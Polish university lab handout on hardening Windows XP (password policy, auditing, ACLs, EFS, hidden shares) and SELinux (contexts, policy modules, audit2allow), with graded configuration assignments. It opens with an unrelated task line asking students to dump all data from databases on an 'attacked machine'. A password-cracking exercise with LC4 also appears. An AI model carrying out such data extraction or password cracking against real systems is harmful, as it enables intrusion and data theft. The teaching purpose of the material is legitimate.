Pobierz wszystkie dane ze wszystkich baz do których uda Ci się uzyskać dostęp na ww. atakowanej maszynie. Podaj nazwy baz, tabel i kolumn. Jak zabezpieczyć aplikację przed atakami tego typu?

Laboratorium: umacnianie, utwardzanie - temat nierealizowany

Umacnianie ochrony systemu operacyjnego MS Windows

Wprowadzenie

Systemy operacyjne z rodziny Microsoft Windows należą niewątpliwie do liderów popularności na rynku systemów operacyjnych. W większości zastosowań domowych popularne "windowsy" sprawdzają się bardzo dobrze, co owocuje dużym przywiązaniem użytkowników do tych produktów. Istnieją zastosowania, w których systemy te słabo bądź w ogóle nie sprawdzają się, jednakże z powodu wygody użytkowania i przystępnego środowiska graficznego są liderem na rynku systemów biurkowych. Systemy MS Windows posiadają wbudowane mechanizmy podwyższające bezpieczeństwo i znajomość tych podstawowych rozwiązań powinna być znana każdemu użytkownikowi tych systemów. W niniejszym opracowaniu zostaną przedstawione różne aspekty podnoszenia poziomu bezpieczeństwa pracy w systemach MS Windows XP. Rozwiązania prezentowane należą do grupy zabiegów określanych mianem utwardzanie systemu (ang. system hardening) i mają na celu podniesienie poziomu bezpieczeństwa oferowanego przez system.

Konta użytkowników

Pierwszą czynnością podczas pracy z systemem Windows XP jest zalogowanie się do systemu. W większości wypadków konto, na które następuje logowanie, jest chronione hasłem użytkownika. Możliwe jest również automatyczne logowanie na konto danego użytkownika bez podawania hasła. Jednak taka konfiguracja nie jest zalecana. System Windows posiada rozbudowane możliwości konfigurowania kont użytkowników i procedury logowania. Opcje konfiguracyjne zlokalizowane są w oknie "Ustawienia zabezpieczeń lokalnych", w podgrupie "Zasady konta". Dostęp do "Ustawień zabezpieczeń lokalnych" można uzyskać poprzez okno "Panel sterowania" i dalej "Narzędzia administracyjne" lub przez uruchomienie polecenia secpol.msc.

Dostępne opcje to m.in.:

  • określenie maksymalnego okresu ważności hasła,
  • określenie minimalnej długości hasła,
  • pamiętanie historii haseł,
  • ustawienie progu blokady konta (liczby dopuszczalnych niepoprawnych logowań),
  • ustawienie czasu trwania blokady konta.

Inspekcja zdarzeń

System Windows oferuje możliwość inspekcji (ang. logging), czyli rejestrowania, różnych zdarzeń zachodzących w systemie (np. logowania na konto, użycia uprawnień itp.). Inspekcję poszczególnych zdarzeń można włączyć poprzez okno "Ustawienia zabezpieczeń lokalnych", w podgrupie "Zasady lokalne" i dalej "Zasady inspekcji". Zarejestrowane zdarzenia można przeglądać za pomocą programu
"Podgląd zdarzeń", dostępnego z okna "Narzędzia administracyjne" lub poprzez uruchomienie polecenia eventvwr.msc.

Niektóre ze zdarzeń mogących podlegać inspekcji to:

  • dostęp do obiektów,
  • użycie uprawnień,
  • zarządzanie kontami,
  • zdarzenia logowania na konto,
  • zmiana zasad zabezpieczeń.

Dezaktywacja kont

Wszelkie konta (w tym szczególnie konta zakładane domyślnie przez system lub aplikacje), poza rzeczywiście niezbędnymi, powinny być zablokowane (lub usunięte). Dezaktywacji konta (oraz zmiany innych właściwości) można dokonać poprzez okno "Zarządzanie komputerem", w podgrupie "Narzędzia systemowe", a dalej "Użytkownicy i grupy lokalne", "Użytkownicy". Dostęp do "Zarządzania
komputerem" można uzyskać z okna "Narzędzia administracyjne" lub poprzez uruchomienie polecenia compmgmt.msc.

Konta użytkowników uprzywilejowanych

Konta użytkowników uprzywilejowanych należy szczególnie starannie chronić przed wykorzystaniem przez osoby nieuprawnione. W pewnym stopniu można utrudnić nielegalne wykorzystanie konta Administratora (włamanie) przez zmianę standardowej nazwy tego konta, często oczekiwanej przez intruzów. Jednak wszelkie konta w systemie posiadają oprócz nazw także identyfikatory numeryczne, które nie ulegają zmianie nawet po ewentualnej zmianie nazwy konta (zaawansowane metody ataku korzystają z takich identyfikatorów). Nazwę użytkownika uprzywilejowanego można zmienić w oknie "Ustawienia zabezpieczeń lokalnych", w podgrupie "Zasady lokalne" i dalej "Opcje zabezpieczeń".

System plików

System plików NTFS umożliwia związanie z każdym zasobem plikowym (w tym katalogiem) listy kontroli dostępu ACL (Access Control List). Dostęp do prostych ustawień ACL pliku (katalogu) jest możliwy z poziomu np. "Eksploratora Windows" w opcji "Właściwości" (menu "Plik" lub kontekstowe), w zakładce "Zabezpieczenia". Rozszerzone listy ACL są dostępne po wyborze opcji "Zaawansowane".


Rozszerzone listy ACL są dostępne po wyborze opcji "Zaawansowane".

UWAGA! Może się zdarzyć, że zakładka "Zabezpieczenia" jest ukryta. Należy wtedy upewnić się, że korzystamy z systemu plików NTFS (FAT32 nie obsługuje ACL) i wykonać następujące czynności: otworzyć okno "Eksploratora", z menu "Narzędzia" wybrać "Opcje folderów..." i w zakładce "Widok" odznaczyć opcję "Użyj prostego udostępniania plików (zalecane)", a następnie zastosować zmiany.

Listy kontroli dostępu w NTFS są bardziej rozbudowane niż POSIX ACL. Oprócz standardowych praw oczytu, zapisu i wykonywania, udostępniają m.in.:

  • prawo odczytu-zapisu atrybutów,
  • prawo tworzenia plików i folderów,
  • prawo usuwania folderów i plików,
  • prawo odczytu-zapisu uprawnień,
  • prawo przejęcia na własność.

Szyfrowanie danych

System plików NTFS umożliwia również ochronę kryptograficzną zasobów plikowych, metodą szyfrowania symetrycznego (algorytmem DESX).

Dostęp do tej opcji mamy również z poziomu "Właściwości" pliku, wybierając opcję "Zaawansowane..." w zakładce "Ogólne". Użyty do szyfrowania klucz właściciela pliku przechowywany jest w certyfikacie użytkownika. Razem z nim system operacyjny utrzymuje też klucz uniwersalny usługi systemowej Data Recovery Agent. Klucze te są widoczne w aplikacji Microsoft Management Console (program mmc).

Aby je zobaczyć, należy w oknie MMC z menu "Plik" wybrać opcję "Dodaj/Usuń przystawkę" (np. klawiszem Ctrl-M), a następnie dodać przystawkę "Certyfikaty – bieżący użytkownik".

Środowisko sieciowe, udziały sieciowe

Rdzennymi w środowisku MS Windows protokołami sieciowymi obsługującymi zasoby udostępniane w otoczeniu sieciowym są NetBIOS (Network Basic Input/Output System) i SMB (Server Message Block). Nie są to, niestety, wyrafinowane protokoły, szczególnie pod względem bezpieczeństwa. Udziałami nazywa się w protokole SMB udostępnione poprzez sieć zasoby systemu operacyjnego. Polecenie
net z argumentem share pozwala wyświetlić listę udziałów bieżącego systemu.

Systemy MS Windows bezpośrednio po instalacji tworzą pewne udziały domyślne (dla Windows XP są to np. C$ oraz ADMIN$), które, jakkolwiek na ogół nie stanowią istotnej luki ezpieczeństwa, często nie są potrzebne i powinny być wyłączone. W tym celu niezbędna jest modyfikacja rejestru systemowego. Dla systemu Windows XP w gałęzi HLM\SYSTEM\CurrentControlSet\Services\LanManServer w kluczu parameters należy dodać wartość AutoShareWks typu DWORD równą 0 i ponownie uruchomić system.


Ukrycie komputera w otoczeniu sieciowym

W systemie Windows XP istnieje możliwość ukrycia nazwy bieżącego komputera w otoczeniu sieciowym, z zachowaniem jednocześnie możliwości udostępniania zasobów. Ukrycie takie w czasie bieżącej sesji umożliwia polecenia net z argumentem config server:

C:\> net config server /hidden:yes

/hidden – opcja ukrycia nazwy w otoczeniu sieciowym, możliwe wartości yes oraz no.

Aby trwale uczynić nazwę bieżącego komputera niewidoczną w otoczeniu sieciowym, należy zmodyfikować wpis w rejestrze systemowym: w gałęzi HLM\SYSTEM\CurrentControlSet\Services\LanManServer w kluczu parameters należy dodać wartość Hidden typu DWORD równą 1.

Zapory sieciowe

W systemie Windows XP SP 2 dostępne jest "Centrum zabezpieczeń" zawierające m.in. "Zaporę sieciową".

Niestety ta prosta zapora nie umożliwia precyzyjnej kontroli ruchu sieciowego.

Z tego powodu nieodzowne jest zainstalowanie oddzielnego produktu typu Personal Firewall. Dobrym przykładem może być Kerio Personal Firewall (firmy Kerio), który pozwala na wielopoziomowe filtrowanie ruchu sieciowego.

Podsumowanie

Systemy z rodziny MS Windows są bardzo popularne. Nie wszystkie elementy systemu stoją na tak wysokim poziomie jak graficzny interfejs użytkownika. W Internecie można znaleźć wiele przykładów na to, że systemy te są podatne na wiele groźnych ataków, w których wyniku użytkownicy mogą być narażeni na utratę dany, szantaże i straty materialne spowodowane kradzieżą numerów kont, haseł itp. Firma Microsoft dokłada starań, aby jej produkty były coraz mniej podatne na różnego typu ataki, jednak nie zwalnia to użytkowników od interesowania się bezpieczeństwem systemu operacyjnego, którego używają na co dzień. Dlatego też podstawowa wiedza z dziedziny szeroko rozumianego bezpieczeństwa systemów komputerowych i informacji jest konieczna do przyswojenia, jeśli użytkownicy nie chcą być biernymi obserwatorami nadużyć komputerowych popełnianych na ich systemach operacyjnych.

Problemy do dyskusji

  • Jakie znasz ataki, na które podatne są systemy z rodziny MS Windows?
  • Czy wiesz, jak się bronić przed najczęstszymi atakami takim jak wirusy, robaki internetowe, programy szpiegujące i spam?
  • Czy znasz i używasz popularnych zamienników programów stosowanych na platformie MS Windows, będących często powodem problemów z bezpieczeństwem? Czy potrafisz wymienić takie programy?

Ćwiczenia

1. Utwórz konto użytkownika test1 z hasłem test.

2. Zweryfikuj trudność złamania haseł w systemie za pomocą wybranego narzędzia typu reactive password checking (np. LC4, który można pobrać ze strony www.net-security.org).

3. Włącz opcję "Hasło musi spełniać wymagania co do złożoności" w "Ustawieniach zabezpieczeń lokalnych" i ustaw następujące parametry:
a. maksymalny wiek hasła: 42 dni,
b. minimalna długość hasła: 8 znaków,
c. minimalny okres ważności hasła: 2 dni,
d. 24 ostatnie hasła pamiętane w historii,
e. wyłączone odwracalne szyfrowanie haseł,
f. utwórz użytkownika "test2" w tak zmienionym środowisku.

4. Ustaw i przetestuj następujące parametry blokady konta:
a. próg blokady: 4 próby,
b. czas trwania blokady: 30 minut,
c. zerowanie licznika prób: po 30 minutach.

5. Wyłącz przechowywanie skrótów kryptograficznych haseł w postaci LMhash:
a. Znajdź i włącz opcję "Zabezpieczenia sieci: nie przechowuj wartości hash programu LAN Manager" w "Zasadach zabezpieczeń lokalnych".
b. Sprawdź ponownie programem LC4, czy skróty Lmhash są dostępne.

6. Włącz i przetestuj inspekcję zdarzeń logowania zakończonych sukcesami i niepowodzeniem.

7. Zidentyfikuj i wyłącz nieużywane konta.

8. Zmień nazwę konta Administratora, np. na Szef.

9. Przetestuj dodawanie i usuwanie zaawansowanych opcji dostępu do pliku i katalogu między użytkownikami test1 i test2.

10. Utwórz plik tekstowy tajne.txt o dowolnej treści. Wyświetl jego zawartość w Eksploratorze oraz w konsoli tekstowej (np. poleceniem type). Następnie:
a. Zaszyfruj ten plik i spróbuj ponownie wyświetlić jego zawartość.
b. Wyświetl informacje o zaszyfrowanym pliku poleceniem efsinfo.
c. Odszukaj certyfikat EFS klucza szyfrowania.
d. Zaloguj się jako inny użytkownik i spróbuj wyświetlić zawartość tego pliku.

11. Usuń udziały domyślne swojego stanowiska komputerowego. Zweryfikuj rezultat.

12. Sprawdź widoczność swojego stanowiska w otoczeniu sieciowym. Przetestuj ukrywanie jego nazwy. Czy cały czas możliwe jest korzystanie z udostępnianych zasobów?

13. Używając zapory sieciowej, zablokuj całkowicie komunikację z wykorzystaniem protokołu ICMP. Przetestuj konfigurację za pomocą polecenia ping.

Utwardzanie ochrony systemu operacyjnego Linux

Wprowadzenie

Utwardzanie ochrony systemu operacyjnego jest szczególnie ważne dla serwerów pracujących bezustannie oraz dla serwerów o zakładanym wysokim poziomie bezpieczeństwa przechowujących tajne dane. System taki powinien być odporny na większość (jeśli nie wszystkie) możliwe próby ataku lub włamania. Oczywiście jest to bardzo trudne do osiągnięcia, jeśli w ogóle możliwe. Już w latach
80. zaczęto się zastanawiać nad zwiększeniem bezpieczeństwa systemów serwerowych. Głównymi inicjatorami tych rozszerzeń były organizacje wojskowe i rządowe, które musiały dobrze chronić informacje. Zaproponowano wówczas nowy model bezpieczeństwa - Obowiązkową Kontrolę Dostępu (MAC), zamiast aktualnie wykorzystywanej Uznaniowej Kontroli Dostępu (DAC).

Rozwój systemów wykorzystujących politykę MAC jest dosyć powolny, głównie ze względu na trudności administracyjne tych systemów. Jednak ich ogromnym plusem jest odporność na większość ataków, włamań - warunkiem jednakże jest poprawne skonfigurowanie polityki, co jest zadaniem bardzo trudnym.

Niniejsze ćwiczenie ma zaznajomić z utwardzaniem ochrony na przykładzie systemu wykorzystującego politykę MAC o nazwie SELinux (Security-Enhanced Linux).

Informacje o systemie SELinux

SELinux został stworzony przez NSA na własne potrzeby. Został on udostępniony społeczności w 2000 roku na licencji GPL. Od wersji jądra 2.6.0-test3 jest dostępny w podstawowym jądrze Linuksa - co nie oznacza, że zawsze jest włączony. Obecnie jest rozwijany przez społeczność oraz wiele firm związanych z Linuksem (w tym intensywnie przez RedHat).

SELinux to nie tylko rozbudowa jądra systemu o dodatkową kontrolę dostępu, ale również kilka narzędzi konfiguracyjnych oraz przede wszystkim zestaw polityk definiujących podstawowe uprawnienia różnych procesów. Większość dystrybucji dostarcza zarówno jądro z włączoną obsługą SELinux, jak i podstawowy zestaw polityk.

System ten implementuje połączenie kilku podejść do kontroli dostępu, najistotniejsze to MAC, RBAC (Role-Based Access Control), TE (Type Enforcement). Pozwala to bardzo elastycznie i precyzyjnie definiować dozwolone operacje poszczególnych elementów systemu, np. skrypt używany do tworzenia kopii zapasowych może mieć inne prawa dostępu do plików (obiektów VFS), gdy jest uruchamiany przez użytkownika interaktywnego (np. zalogowanego z konsoli), a inne, gdy jest uruchamiany jako ten sam użytkownik (!) z cron-a.

SELinux rozdziela obiekty w systemie na dwie kategorie:

  • podmioty (subjects) - procesy,
  • przedmioty operacji (objects) – pliki (zwykłe pliki, katalogi, gniazda, rurki itp.) i inne obiekty (np. gniazda tcp).

Wszystkie podmioty i przedmioty operacji mają nadany "kontekst bezpieczeństwa". W przypadku procesów nazywa się go domeną, a w przypadku plików - file_context. Polityki (zasady) określają z jakiej domeny jakie operacje są dozwolone na poszczególnych file_contextach oraz jak i jakie są dozwolone przejścia pomiędzy domenami. Konteksty plików są przechowywane w rozszerzonych atrybutach (xattr), dla nowych plików są dziedziczone po katalogach (o ile polityka nie wskaże inaczej). Konteksty procesów są przechowywane w strukturze opisującej proces w jądrze (task_struct) i dla nowych procesów są dziedziczone po rodzicu (o ile
polityka nie wskaże inaczej).

Zasady mogą być podzielone na moduły, co ułatwia zarządzanie poszczególnymi elementami.

SELinux może pracować w trzech trybach:

  • disabled - wyłączony,
  • permissive - włączone tylko sprawdzanie uprawnień, ale w przypadku ich naruszenia powoduje tylko odnotowanie tego faktu, bez blokowania dostępu (ten tryb jest przydatny do testowania polityk),
  • enforcing - włączone zarówno sprawdzanie jak i egzekwowanie uprawnień.

Oprócz powyższych trybów ochrona może być na trzech poziomach:

  • targeted - tylko niektóre usługi są obięte ochroną, a pozostałe procesy działają w domenie unconfined_t,
  • strict - pełna ochrona, wszystko co nie zostanie explicite dozwolone - zostaje zablokowane,
  • mls - (Multi Level Security) umożliwia nadawanie kategorii bezpieczeństwa plikom, stworzone na potrzeby certyfikacji EAL4+/LSPP.

W nowszych systemach (m.in. w labie 5790) poziomy strict i targeted są zastąpione poziomem default. W praktyce jest on nieznacznie zmodyfikowanym dotychczasowym poziomem targeted.

Ze względu na ograniczony czas na tych zajęciach zajmiemy się jedynie częścią funkcjonalności systemu SELinux. Zainteresowanych całością systemu odsyłamy do strony http://selinuxproject.org/.

Instalacja systemu SELinux

W większości dystrybucji SELinux jest dostarczany razem z dystrybucją (domyślnie zainstalowany lub jako opcja). W systemach RedHat (RedHat Enterprise Linux, CentOS, Fedora) SELinux będzie domyślnie zainstalowany wraz z zestawem polityk.

W Debianie będzie trzeba doinstalować kilka pakietów:

$ apt-get install selinux-basics

Następnie trzeba wydać poniższe polecenie i zrestartować system:

$ selinux-activate

Doda ono opcję "selinux=1" do parametrów jądra w bootloaderze GRUB oraz utworzy plik /.autorelabel. Przy najbliższym starcie systemu wszystkie pliki w sytemie zostaną zaopatrzone w konteksty bezpieczeństwa zgodnie z domyślną polityką.

Domyślnie system będzie pracował w trybie permissive. Aby przełączyć w tryb enforcing należy wydać polecenie:

$ selinux-config-enforcing

Konfiguracja trybu pracy znajduje się w pliku /etc/selinux/config.

Konteksty i polityki

Kontekst składa się z kilku elementów:

<użytkownik>:<rola>:<typ>:<MLS>

użytkownik - wskazuje użytkownika, który uruchomił dany proces lub stworzył dany plik.
rola – decyduje o tym, którzy użytkownicy (grupy) mają dostęp do poszczególnych domen.
typ – główna część kontekstu – decyduje o dostępie, jest używana w polityce do zdefiniowania reguł dostępu.
MLS – tylko w nowszych implementacjach – kategoria MLS.

Rola i użytkownik mają małe znaczenie na poziomie targeted/default.

Przykładowy file_context:

system_u:object_r:ifconfig_exec_t:s0 /bin/ip
system_u:object_r:home_root_t:s0 /home

Przykładowa domena procesu:

system_u:system_r:httpd_t:s0 /usr/sbin/apache2 -k start

Zasady regulują, które domeny mają dostęp do poszczególnych obiektów. Pojedyncza zasada składa się z następujących elementów:

  • akcja, niektóre wartości:
    • allow - zezwól
    • auditallow - zezwól i zaloguj ten fakt
    • dontaudit - nie loguj próby
    • type_transition - definiuj przejście pomiędzy kontekstami
  • podmiot - domena procesu który próbuje wykonać operację (np httpd_t)
  • przedmiot - kontekst i klasa przedmiotu akcji (np home_root_t:dir)
  • operacja - jakiej operacji ma dotyczyć zasada, niektóre z operacji:
    • dir { read getattr search add_name write } - katalog: czytanie listy plików, pobieranie atrybutów, testowanie istnienia pliku, dodawanie pliku, zapis
    • ile { write create getattr setattr } - plik: zapis, utworzenie, pobranie atrybutów, ustawianie atrybutów
    • lnk_file { read getattr } - link symboliczny: czytanie, pobranie atrybutów
    • tcp_socket { name_bind } - gniazdo tcp: oczekiwanie na połączenia przychodzące

Przykładowy plik (moduł) definiujący kilka zasad razem z zależnościami znajduje się w pliku example.te (patrz niżej, załączone pliki mają zmienione nazwy: example.te_.txt i example.fc_.txt). W tym pliku znajduje się również bogatsza lista operacji. Przykładowy moduł można skompilować i załadować poleceniami:

checkmodule -M -m -o example.mod example.te
semodule_package -o example.pp -m example.mod -f example.fc
semodule -i example.pp

W praktyce moduły pisze się za pomocą makr m4. Można obejrzeć je, instalując pakiet selinux-policy-src. Źródła domyślnej polityki będą w /usr/src.

Użytkownicy w domyślnej polityce (w nawiasach dozwolone role):
system_u (system_r) - procesy systemowe,
user_u (user_r) - zwykły, nieuprzywilejowany użytkownik,
staff_u (staff_r, sysadm_r) - administrator systemu wykonujący też nieuprzywilejowane zadania,
sysadm_u (sysadm_r) - administrator systemu,
root (staff_r, sysadm_r) - specjalny użytkownik dla systemowego konta root (do pracy interaktywnej).

Narzędzia i opcje

1. Status i tryby SELinux

$ sestatus # ogólny status systemu SELinux
$ sestatus -b # powyższe plus zmienne mogące wpływać na polityki (polityka może ich używać jak normalne zmienne w skryptach)
$ getenforce # pobieranie trybu SELinux
$ setenforce # ustatawianie trybu SELinux

Powyższe operacje można również uzyskać przez odczytywanie-zapisywanie odpowiednich plików w /selinux (podmontowanym specjalnym systemem plików selinuxfs).

2. Sprawdzanie kontekstów

Większość standardowych narzędzi pokazujących informacje o plikach i procesach obsługuje opcję -Z do wyświetlenia dodatkowo kontekstów. Przykłady:

$ id -Z #kontekst (domena) aktualnie zalogowanego użytkownika (jego powłoki)
$ ps -Z #kontekst uruchomionych procesów
$ ls -Z #kontekst plików

3. Zmiana kontekstów

Kontekst pliku zmienia się poleceniem chcon, np:

$ chcon -t user_home_t /tmp/myfile

Można również przywrócić domyślny kontekst wynikający z polityki poleceniem "restorecon".

Niektórych przedmiotów polityki nie da się odwzorować w systemie plików. Są to np. porty tcp/udp. Do zarządzania nimi służy narzędzie semanage. Pozwala ono operować m.in. na:

  • port - powiązanie nazw z numerami portów
  • login - powiązanie użytkownika systemowego z użytkownikiem-rolą SELinux - jeśli użytkownik nie jest tu wymieniony explicite, zostanie użyta wartość powiązana z __default__. Ustawianiem początkowych kontekstów procesom użytkownika zajmuje się moduł PAM (pam_selinux) lub odpowiednio zmodyfikowany program login.
  • user - dozwolone role dla użytkowników
  • fcontext - domyślne file_contexty dla plików

Obsługa, przykłady:

$ semanage port -l #lista klas portów (będących przedmiotem reguł)
$ semanage login -a -s user_u test # połączenie użytkownika systemowego test z użytkownikiem SELinux user_u

Do przełączania się pomiędzy rolami (w ramach swoich uprawnień) służy polecenie:

$ newrole

Polecenie to będzie pytało o hasło użytkownika.

4. Modyfikacja polityki

Najczęściej zmieniane parametry polityki można modyfikować poprzez zmienne. Jeśli chcemy wprowadzić jakąś modyfikację polityki, warto najpierw sprawdzić, czy nie ma do tego zmiennej. Do modyfikacji służą narzędzia:

$ getsebool -a # wyświetla listę zmiennych
$ setsebool # ustawia wartość zmiennej
$ setsebool -P # ustawia wartość zmiennej i zapisuje modyfikację do konfiguracji (będzie działała również po restarcie systemu)

Część zmian wymaga ingerencji w samą polityce. Najłatwiej takie zmiany wprowadzić przez przygotowanie osobnego modułu. Po przygotowaniu pliku .te z zasadami należy skompilować plik poleceniem:

$ checkmodule -M -m -o module.mod module.te
$ semodule_package -o module.pp -m module.mod

a następnie załadować moduł do jądra:

$ semodule -i module.pp

załadowane moduły można wylistować tak:

$ semodule -l

Warto też przejrzeć pozostałe opcje poleceń semodule, semanage.

5. Skrypty startowe

Jeśli ręcznie restartujemy jakąś usługę, to, aby była uruchomiona w odpowiednim kontekście, należy uruchamiać ją przez run_init:

$ run_init /etc/init.d/ssh start

Polecenie to będzie pytało o hasło użytkownika root.

6. Diagnostyka

System zapisuje w dzienniku większość operacji zablokowania dostępu (konkretnie te, które nie są wyłączone regułą dontaudit). Są one przechowywane razem z innymi komunikatami jądra (w Debianie /var/log/kern.log). Każda linia zawiera informację, jaka akcja przez kogo i na jakim obiekcie została zablokowana. Przykładowa linia:

[28982.648028] type=1400 audit(1287270591.742:1243870): avc: denied { read }
for pid=8745 comm="cat" name="example-file" dev=sda1 ino=125781
scontext=user_u:user_r:user_t:s0 tcontext=system_u:object_r:example_file_t:s0
tclass=file

widać tu po kolei:
- denied { read } - zablokowaną akcją jest odczyt
- pid=8745 - pid procesu, któremu odmówiono dostępu
- comm="cat" - nazwa procesu
- name="example-file" dev=sda1 ino=125781 - przedmiot akcji (tutaj plik "example-file" na urządzeniu sda1 o numerze i-węzła 125781)
- scontext=user_u:user_r:user_t:s0 - kontekst procesu wykonującego akcję (source-context)
- tcontext=system_u:object_r:example_file_t:s0 - kontekst przedmiotu akcji (target-context)
- tclass=file - klasa przedmiotu

Korzystając ze skryptu audit2allow, można łatwo stworzyć regułę zezwalającą na daną akcję. Przykłady:

$ cat /var/log/kern.log | audit2allow #wypisuje nowe reguły
$ cat /var/log/kern.log | audit2allow -M local #tworzy (ale nie ładuje) moduł "local" zawierający reguły zezwalające

W praktyce, przed załadowaniem tak stworzonych reguł, warto sprawdzić, czy nie zezwalają na więcej niż chcemy. Można też oczywiście do audit2allow przekazywać pojedyncze linie logów, aby utworzyć z nich reguły. To ostatnie użycie zwykle przydaje się przy tworzeniu nowych polityk.

Narzędzie sesearch pozwala znaleźć zasady spełniające podane kryteria. Np. gdy szukamy zasad zezwalających na dowolne operacje wykonywane przez użytkownika user_u (typ user_t) na plikach w etc (typ etc_t), to:

$ sesearch -A -s user_t -t etc_t

Ćwiczenia

1. Zainstaluj narzędzia SELinux oraz włącz w trybie enforcing oraz politykę targeted/default.

2. Utwórz użytkownika setest (i nadaj mu hasło), oraz połącz go z SELinux jako user_u.

3. Sprawdź z jakimi kontekstami są uruchomione procesy przez użytkownika guest, a z jakimi - setest.

4. Sprawdź, czy guest może zobaczyć komunikaty jądra. A setest? Sprawdź co przy tej operacji trafiło do dziennika.

5. Zmodyfikuj konfigurację, tak aby obydwaj mieli dostęp do komunikatów jądra.

6. Sprawdź jakie uprawnienia ma plik /etc/crontab. Czy użytkownicy guest i setest powinni móc go przeczytać? A jak jest w praktyce?

7. Zezwól użytkownikom na odczyt pliku /etc/crontab.

8. Korzystając z modułu polityki example (załączonego do tych materiałów), przygotuj program /bin/example (będący kopią /bin/cat), który będzie mógł jako jedyny przeczytać plik /tmp/example-file.

Wskazówka: pamiętaj o nadaniu odpowiednich kontekstów plikom.

Scenariusz opracowano na podstawie materiałów:

http://selinuxproject.org/

http://wiki.centos.org/HowTos/SELinux

http://www.nsa.gov/research/selinux/

http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml

http://students.mimuw.edu.pl/SO/Projekt05-06/temat5-g7/se/se.html

ZałącznikWielkość
example.fc_.txt235 bajtów
example.te_.txt6.93 KB

Zaliczenie 2009

Przygotować skrypt zabezpieczający czysty system RSBAC (z domyślnymi ustawieniami) w następujący sposób:
1. Wszyscy użytkownicy mogą się zalogować w systemie.
2. Serwer ssh pozwala na zdalne logowanie się jedynie użytkownikom u1 i u2.
3. Użytkownik u1 nie może wykonywać żadnych programów oprócz: bash, ls i cat.
4. Użytkownik u2 nie może wykonywać żadnych programów oprócz: bash, ps, kill i killall.
5. Użytkownik u2 ma nadany przywilej KILL z Linux capabilities, a użytkownik root ma ten przywilej odebrany.

Skrypt powinien działać w laboratorium 5490, na wyczyszczonym systemie, z zainstalowanym serwerem ssh i systemem RSBAC oraz dodanymi użytkownikami u1 i u2.

Zaliczenie 2010

Przygotować skrypt konfigurujący SELinux w następujący sposób:
1. zwykły użytkownik może pingować dowolne komputery,
2. do pliku /home/pliczek da się dostać tylko edytorem nano lub specjalnie przygotowaną jego kopią.

Jako zwykły użytkownik rozumiemy użytkownika o kontekście user_u:user_r:user_t.

Skrypt powinien działać w laboratorium 5490 na wyczyszczonym systemie z zainstalowanym SELinux i włączonym w trybie enforcing oraz aktywną polityką targeted.

Zaliczenie 2011

Przygotować skrypt konfigurujący SELinux (i ew inne uprawnienia) w następujący sposób:
1. zwykły użytkownik może odczytać bufor komunikatów jądra.
2. zwykly użytkownik, należący do grupy adm, może czytać plik /var/log/messages.

Jako zwykły użytkownik rozumiemy użytkownika o kontekście user_u:user_r:user_t.

Skrypt powinien działać w laboratorium 5490 na wyczyszczonym systemie z zainstalowanym SELinux i włączonym w trybie enforcing oraz aktywną polityką targeted.

Zaliczenie 2012

Przygotuj skrypt konfigurujący SELinux w następujący sposób:

  • użytkownik o roli sysadm_r mógł użyć strace na procesie dowolnego innego użytkownika
  • zwykły użytkownik mógł przy pomocy programu nc przyjmować połączenia TCP na porcie 5490 (i żadnym innym)
  • Jako zwykły użytkownik rozumiany jest użytkownik o kontekście
    user_u:user_r:user_t.

    Skrypt powinien działać w laboratorium 5490 na wyczyszczonym systemie z
    zainstalowanym SELinux i włączonym w trybie enforcing, oraz aktywną polityką
    targeted.

Zaliczenie 2013

Przygotuj skrypt konfigurujący SELinux w następujący sposób:
1. administrator może logować się zdalnie za pomocą klienta ssh,
2. zwykły użytkownik może czytać pliki logów, ale jedynie za pomocą programu /bin/less.

Jako zwykły użytkownik rozumiemy użytkownika o kontekście user_u:user_r:user_t, jako administratora rozumiemy użytkownika o kontekście sysadm_u:sysadm_r:sysadm_t.

Skrypt powinien działać w laboratorium 5490 na wyczyszczonym systemie z zainstalowanym SELinux i włączonym w trybie enforcing oraz aktywną polityką targeted.